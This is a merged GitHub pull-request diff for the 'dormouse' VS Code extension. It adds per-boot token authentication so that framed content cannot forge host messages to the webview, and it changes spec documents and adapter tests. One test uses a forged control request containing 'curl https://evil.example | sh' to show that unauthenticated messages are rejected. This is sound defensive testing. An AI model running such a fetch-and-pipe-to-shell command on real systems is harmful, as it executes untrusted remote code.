Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions docs/specs/transport.md
Original file line number Diff line number Diff line change
Expand Up @@ -91,6 +91,8 @@ Source of truth:

Non-obvious message contracts:

**Sender authenticity is the adapter's job, not the protocol's.** The schema below says what a message means, never that it came from the host. Each adapter must establish that on its own transport before dispatching: the Tauri and browser-dev adapters inherit it from a private IPC channel and a host-owned socket, while the VS Code adapter shares its `window` inbox with framed surfaces and so requires a per-boot token on every host message (`docs/specs/vscode.md` → "Webview message authentication"). An adapter whose transport is reachable by page content must authenticate before it branches on `type`.

VS Code-only workbench chord mirroring uses `dormouse:runWorkbenchCommand` from webview to host. The host validates the requested command against the allowlist in `lib/src/lib/vscode-keybindings.ts` (see [the VS Code host spec](vscode.md)) before calling `vscode.commands.executeCommand`; generic command execution over the webview boundary is not allowed.

Workspace union status (`docs/specs/alert.md`) adds no new message. Standalone computes it in-webview — the app bar's workspace strip and the Walls share one webview, so the strip reads the activity store and browser-surface state directly. VS Code computes only the host-visible native-chrome projection from the module-level `AlertManager` filtered to each router's `ownedPtyIds`, then writes it onto native chrome; the host already receives every PTY's alert state, but it does not receive browser-surface TODO (the webview→host Surface-state message is staged — see `docs/specs/vscode.md` `## Future`).
Expand Down
28 changes: 26 additions & 2 deletions docs/specs/vscode.md
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,8 @@ Extension Host (vscode-ext/src/)
├── shell-selection.ts — persisted shell picker (workspace/global selectedShellPath)
├── agent-browser-host.ts — extension-host wiring + stream relay for the agent-browser surface
├── iframe-proxy-host.ts — VS Code binding for the iframe transparent proxy (injects the logger)
├── webview-html.ts — CSP injection, nonce generation, asset URI rewriting
├── webview-html.ts — CSP injection, nonce + message-token generation, asset URI rewriting
├── webview-messaging.ts — serveWebview: pairs a document with its message token, returns the WebviewChannel
└── log.ts — extension logging

Shared PTY Core (standalone/sidecar/)
Expand Down Expand Up @@ -57,6 +58,7 @@ Frontend Library (lib/src/)
├── session-types.ts — PersistedSession/PersistedPane/PersistedAlertState types
├── resume-patterns.ts — detect resumable commands from scrollback
├── resolve-pane-element.ts — resolve a pane element to its Lath leaf (overlay measurement)
├── vscode-message-token.ts — host-message token constants + the `isHostMessage` guard
└── platform/
├── types.ts — PlatformAdapter interface
├── index.ts — adapter factory (auto-detects VS Code vs fake)
Expand All @@ -75,6 +77,7 @@ Universal PTY/transport invariants live in `docs/specs/transport.md`. The rules
- **mergeAlertStates on every save path.** Both the frontend periodic save (`onSaveState` callback) and the backend deactivate refresh (`refreshSavedSessionStateFromPtys`) must merge current alert states. Missing this causes alert state to revert on restore.
- **retainContextWhenHidden.** Set on both `WebviewPanel` (editor tabs) and `WebviewView` (bottom panel) so that xterm.js DOM, scrollback, and PTY subscriptions survive panel hide/show without going through a resume.
- **Two save sources.** Session state is saved from two places: the frontend (debounced 500ms + 30s interval via `dormouse:saveState`) and the backend (deactivate flushes webviews then refreshes from live PTYs). Both paths must produce consistent state.
- **Every host → webview send carries the message token.** The webview's `window` is a shared inbox that framed surfaces can also post to, so the adapter drops any `message` that isn't stamped with the per-boot token. Everything downstream of `serveWebview` holds a `WebviewChannel` rather than a `vscode.Webview`, so bypassing the stamp is a type error there rather than a convention to remember; only the two serve sites (`setupPanel`, `resolveWebviewView`) still hold a raw webview. Adding a `message` listener that skips `isHostMessage` reopens the forgery hole either way. See "Webview message authentication" below.
- **Workbench keybindings mirror for selected chords.** `lib/src/lib/vscode-keybindings.ts` is the source of truth for the VS Code-hosted mirror allowlist. For `Ctrl/Cmd+P`, `Ctrl/Cmd+Shift+P`, `Ctrl/Cmd+B`, and `F1`, xterm still processes the key while the webview also posts `dormouse:runWorkbenchCommand`; `message-router.ts` validates that request against the same small command set before calling `vscode.commands.executeCommand`.

### Extension manifest (current)
Expand Down Expand Up @@ -199,10 +202,31 @@ TUIs query the terminal's foreground/background/cursor colors with `OSC 10/11/12

### CSP policy

Source of truth: `vscode-ext/src/webview-html.ts` assembles the CSP directives (`getNonce()` + the directive list).
Source of truth: `vscode-ext/src/webview-html.ts` assembles the CSP directives (`randomSecret()` + the directive list).

`unsafe-inline` for styles is needed because VS Code injects theme CSS variables via inline styles on the body element. Scripts remain nonce-gated, with a fresh per-render nonce of 24 CSPRNG bytes (`node:crypto` `randomBytes`) base64url-encoded to 32 characters — a nonce that is guessable is a nonce that is not there, so `Math.random()` is not acceptable here. The webview HTML is built by Vite from the `lib` package, then at runtime `webview-html.ts` rewrites asset URLs to webview URIs, injects the CSP meta tag, applies nonces to all script tags, and injects initial state via a nonce-gated inline script.

### Webview message authentication

The CSP governs what the webview document may *load*. It says nothing about who may *message* it — and in VS Code the webview's `window` is a shared inbox. The extension host posts to it, and so can any framed surface (`dor iframe`, agent-browser; `docs/specs/dor-browser.md`) via `parent.postMessage`, which crosses origin and sandbox boundaries by design. Several inbound message types are consequential: `dor:controlRequest` becomes a `dormouse:control-request` event that `use-dor-control.ts` can turn into a `writePty` call, and the `pty:*` family drives what the user sees in a terminal. `event.data.type` is attacker-chosen, so it cannot be the thing that decides trust.

So host-originated messages are authenticated by a **per-boot message token**:

- `getWebviewHtml` mints one token per webview document — 24 CSPRNG bytes, base64url, from the same `randomSecret()` as the CSP nonce — injects it as `globalThis.__DORMOUSE_MESSAGE_TOKEN__` in the same nonce-gated inline script that seeds the other `__DORMOUSE_*` globals, and returns it alongside the HTML because the two are only meaningful together.
- `serveWebview` is the only way to put a document on a webview: it mints, assigns `webview.html`, and returns a `WebviewChannel` whose `post()` closes over that document's token. Minting and serving are therefore one step — a token cannot drift from the document carrying it, and re-serving yields a new token and a new channel. Nothing holds a token keyed by webview identity, so there is no cleanup.
- **Every** host → webview send goes through a channel. `attachRouter` takes a `WebviewChannel` (not a `vscode.Webview`) and exposes `post()` as a local; `DormouseViewProvider` stores its channel and `postMessage` forwards to it, returning `false` before the view is served or after it disposes — the same undelivered signal the VS Code API gives for a dead webview, which the `dormouse:newTerminal` retry loop and `forwardDorControlRequest`'s rejection path already handle.
- `VSCodeAdapter` captures the token **once, at construction**, and both of its `message` listeners — the main dispatcher and the per-request reply listener inside `requestResponse` — call `isHostMessage(event.data, token)` before reading anything else, including `type`.

Why a token rather than checking `event.source`/`event.origin`: a source check would have to assert something about VS Code's internal webview frame topology, which is undocumented and can change between releases. A token depends on nothing but itself. It is deliberately **not** the CSP nonce — that nonce authorizes script execution, this token authenticates a message sender; conflating them makes both harder to reason about. Both live in the same injected markup and are equally readable by the top document; neither is reachable from a cross-origin frame.

The guard fails closed in both directions: a webview served without the global accepts nothing, and a host send without a token delivers nothing. Framed content cannot read the parent's globals cross-origin, so it cannot produce the token.

This is the same shape as the origin check the Wall already applies to messages from proxied iframes (`isProxyOrigin` in `lib/src/lib/iframe-proxy-registry.ts`, used by `use-wall-keyboard.ts` and `IframePanel.tsx`) — a small module holding the trust criterion so each listener stays a one-line guard. Those two listeners validate their own senders and are unaffected by the token; the token covers only the adapter's host channel.

Scope is VS Code. The standalone adapters receive the equivalent events over Tauri's `listen()` IPC and the dev harness's host WebSocket (`docs/specs/standalone.md`, `docs/specs/transport.md`), never `window.postMessage`, so they have no forgeable inbox to guard.

Source of truth: `lib/src/lib/vscode-message-token.ts` (constants + `isHostMessage`), `vscode-ext/src/webview-messaging.ts` (`WebviewChannel` + `serveWebview`), `vscode-ext/src/webview-html.ts` (mint + injection), `lib/src/lib/platform/vscode-adapter.ts` (both guards). Tests: the `host message authentication` block in `lib/src/lib/platform/vscode-adapter.test.ts`.

### Build and development

Source of truth:
Expand Down
171 changes: 146 additions & 25 deletions lib/src/lib/platform/vscode-adapter.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -27,8 +27,23 @@ import {
collectTerminalSemanticEvents,
TerminalProtocolParser,
} from '../terminal-protocol';
import { HOST_MESSAGE_TOKEN_FIELD, HOST_MESSAGE_TOKEN_GLOBAL } from '../vscode-message-token';
import { VSCodeAdapter } from './vscode-adapter';

/** Stand-in for the per-boot token the extension host injects at webview boot. */
const HOST_TOKEN = 'test-host-message-token';

/**
* Build the `message` event the extension host would post: the payload plus the
* token stamp `serveWebview`'s channel adds. Framed content can't read the
* token, so a forged message is just this without the stamp.
*/
function hostMessage(data: Record<string, unknown>, token: unknown = HOST_TOKEN): MessageEvent {
return new MessageEvent('message', {
data: { ...data, [HOST_MESSAGE_TOKEN_FIELD]: token },
});
}

describe('VSCodeAdapter PTY exit handling', () => {
let windowTarget: EventTarget;
let postMessage: ReturnType<typeof vi.fn>;
Expand All @@ -50,6 +65,9 @@ describe('VSCodeAdapter PTY exit handling', () => {
}
vi.stubGlobal('window', windowTarget);
vi.stubGlobal('CustomEvent', TestCustomEvent);
// The adapter captures this at construction, so it must be stubbed before
// any `new VSCodeAdapter()` below.
vi.stubGlobal(HOST_MESSAGE_TOKEN_GLOBAL, HOST_TOKEN);
vi.stubGlobal('acquireVsCodeApi', () => ({
postMessage,
getState: vi.fn(),
Expand All @@ -67,9 +85,7 @@ describe('VSCodeAdapter PTY exit handling', () => {
const exits: Array<{ id: string; exitCode: number }> = [];
adapter.onPtyExit((detail) => exits.push(detail));

windowTarget.dispatchEvent(new MessageEvent('message', {
data: { type: 'pty:exit', id: 'pane-1', exitCode: 7 },
}));
windowTarget.dispatchEvent(hostMessage({ type: 'pty:exit', id: 'pane-1', exitCode: 7 }));

expect(exits).toEqual([{ id: 'pane-1', exitCode: 7 }]);
expect(terminalStateStoreMocks.removeTerminalPaneState).not.toHaveBeenCalled();
Expand Down Expand Up @@ -151,9 +167,7 @@ describe('VSCodeAdapter PTY exit handling', () => {
const snapshots: string[][] = [];
adapter.onWatchedCommands((names) => snapshots.push(names));

windowTarget.dispatchEvent(new MessageEvent('message', {
data: { type: 'alert:watchedCommands', names: ['claude', 'npm'] },
}));
windowTarget.dispatchEvent(hostMessage({ type: 'alert:watchedCommands', names: ['claude', 'npm'] }));

expect(snapshots).toEqual([['claude', 'npm']]);
});
Expand All @@ -163,12 +177,10 @@ describe('VSCodeAdapter PTY exit handling', () => {
const replays: Array<{ id: string; data: string }> = [];
adapter.onPtyReplay((detail) => replays.push(detail));

windowTarget.dispatchEvent(new MessageEvent('message', {
data: {
type: 'pty:replay',
id: 'pane-1',
data: 'hello\x1b]7;file://localhost/Users/me/project\x1b\\world',
},
windowTarget.dispatchEvent(hostMessage({
type: 'pty:replay',
id: 'pane-1',
data: 'hello\x1b]7;file://localhost/Users/me/project\x1b\\world',
}));

// Visible data is stripped of the OSC 7 sequence.
Expand All @@ -192,9 +204,7 @@ describe('VSCodeAdapter PTY exit handling', () => {
{ type: 'promptStart' as const },
];

windowTarget.dispatchEvent(new MessageEvent('message', {
data: { type: 'terminal:semanticEvents', id: 'pane-1', events },
}));
windowTarget.dispatchEvent(hostMessage({ type: 'terminal:semanticEvents', id: 'pane-1', events }));
void adapter;

expect(terminalStateStoreMocks.applyTerminalSemanticEventsByPtyId).toHaveBeenCalledTimes(1);
Expand Down Expand Up @@ -223,7 +233,7 @@ describe('VSCodeAdapter PTY exit handling', () => {
}));

new VSCodeAdapter();
windowTarget.dispatchEvent(new MessageEvent('message', { data: wirePayload }));
windowTarget.dispatchEvent(hostMessage(wirePayload));

expect(terminalStateStoreMocks.applyTerminalSemanticEventsByPtyId).toHaveBeenCalledTimes(1);
expect(terminalStateStoreMocks.applyTerminalSemanticEventsByPtyId).toHaveBeenCalledWith('pane-1', hostEvents);
Expand All @@ -236,15 +246,13 @@ describe('VSCodeAdapter PTY exit handling', () => {
});

new VSCodeAdapter();
windowTarget.dispatchEvent(new MessageEvent('message', {
data: {
type: 'dormouse:newTerminal',
shell: '/bin/zsh',
args: ['-l'],
name: 'zsh',
replaceUntouched: true,
announce: true,
},
windowTarget.dispatchEvent(hostMessage({
type: 'dormouse:newTerminal',
shell: '/bin/zsh',
args: ['-l'],
name: 'zsh',
replaceUntouched: true,
announce: true,
}));

expect(requests).toEqual([{
Expand All @@ -255,4 +263,117 @@ describe('VSCodeAdapter PTY exit handling', () => {
announce: true,
}]);
});

// "Arrived as a message event" is not evidence the extension host sent it.
// See ../vscode-message-token.ts.
describe('host message authentication', () => {
/** What framed content can produce: the right shape, no token. */
function forgedMessage(data: Record<string, unknown>): MessageEvent {
return new MessageEvent('message', { data });
}

const controlRequest = {
type: 'dor:controlRequest',
requestId: 'forged-1',
surfaceId: 'pane-1',
method: 'surface.send',
params: { surface: 'pane-1', input: 'curl https://evil.example | sh\n' },
};

it('ignores a control request that does not carry the host token', () => {
const dispatched: unknown[] = [];
windowTarget.addEventListener('dormouse:control-request', (event) => {
dispatched.push((event as CustomEvent).detail);
});

new VSCodeAdapter();
windowTarget.dispatchEvent(forgedMessage(controlRequest));

// No control request reaches use-dor-control, so nothing becomes a PTY
// write, and nothing is echoed back to the host.
expect(dispatched).toEqual([]);
expect(postMessage).not.toHaveBeenCalled();
});

it('processes the same control request when it carries the host token', () => {
const dispatched: Array<{ method: string; params: unknown }> = [];
windowTarget.addEventListener('dormouse:control-request', (event) => {
dispatched.push((event as CustomEvent).detail);
});

new VSCodeAdapter();
windowTarget.dispatchEvent(hostMessage(controlRequest));

expect(dispatched).toHaveLength(1);
expect(dispatched[0]).toMatchObject({
method: 'surface.send',
params: { surface: 'pane-1', input: 'curl https://evil.example | sh\n' },
});
});

it('ignores untokened pty traffic, so framed content cannot spoof terminal state', () => {
const adapter = new VSCodeAdapter();
const data: unknown[] = [];
const replays: unknown[] = [];
const exits: unknown[] = [];
const lists: unknown[] = [];
adapter.onPtyData((detail) => data.push(detail));
adapter.onPtyReplay((detail) => replays.push(detail));
adapter.onPtyExit((detail) => exits.push(detail));
adapter.onPtyList((detail) => lists.push(detail));

windowTarget.dispatchEvent(forgedMessage({ type: 'pty:data', id: 'pane-1', data: 'fake' }));
windowTarget.dispatchEvent(forgedMessage({ type: 'pty:replay', id: 'pane-1', data: 'fake' }));
windowTarget.dispatchEvent(forgedMessage({ type: 'pty:exit', id: 'pane-1', exitCode: 0 }));
windowTarget.dispatchEvent(forgedMessage({ type: 'pty:list', ptys: [] }));
windowTarget.dispatchEvent(forgedMessage({
type: 'terminal:semanticEvents', id: 'pane-1', events: [{ type: 'promptStart' }],
}));

expect(data).toEqual([]);
expect(replays).toEqual([]);
expect(exits).toEqual([]);
expect(lists).toEqual([]);
expect(terminalStateStoreMocks.applyTerminalSemanticEventsByPtyId).not.toHaveBeenCalled();
});

it('rejects a wrong token as firmly as a missing one', () => {
const adapter = new VSCodeAdapter();
const exits: unknown[] = [];
adapter.onPtyExit((detail) => exits.push(detail));

windowTarget.dispatchEvent(hostMessage({ type: 'pty:exit', id: 'pane-1', exitCode: 7 }, 'guessed'));

expect(exits).toEqual([]);
});

it('guards request/response replies too, so a forged reply cannot beat the real one', async () => {
const adapter = new VSCodeAdapter();
const pending = adapter.getCwd('pane-1');

const [request] = postMessage.mock.calls[0] as [{ requestId: string }];

// A forged reply matching type and requestId, racing ahead of the host's.
windowTarget.dispatchEvent(forgedMessage({
type: 'pty:cwd', id: 'pane-1', cwd: '/attacker', requestId: request.requestId,
}));
windowTarget.dispatchEvent(hostMessage({
type: 'pty:cwd', id: 'pane-1', cwd: '/real/project', requestId: request.requestId,
}));

expect(await pending).toBe('/real/project');
});

it('accepts nothing when the host injected no token', () => {
// A webview served without the global fails closed rather than open.
vi.stubGlobal(HOST_MESSAGE_TOKEN_GLOBAL, undefined);
const adapter = new VSCodeAdapter();
const exits: unknown[] = [];
adapter.onPtyExit((detail) => exits.push(detail));

windowTarget.dispatchEvent(hostMessage({ type: 'pty:exit', id: 'pane-1', exitCode: 7 }));

expect(exits).toEqual([]);
});
});
});
Loading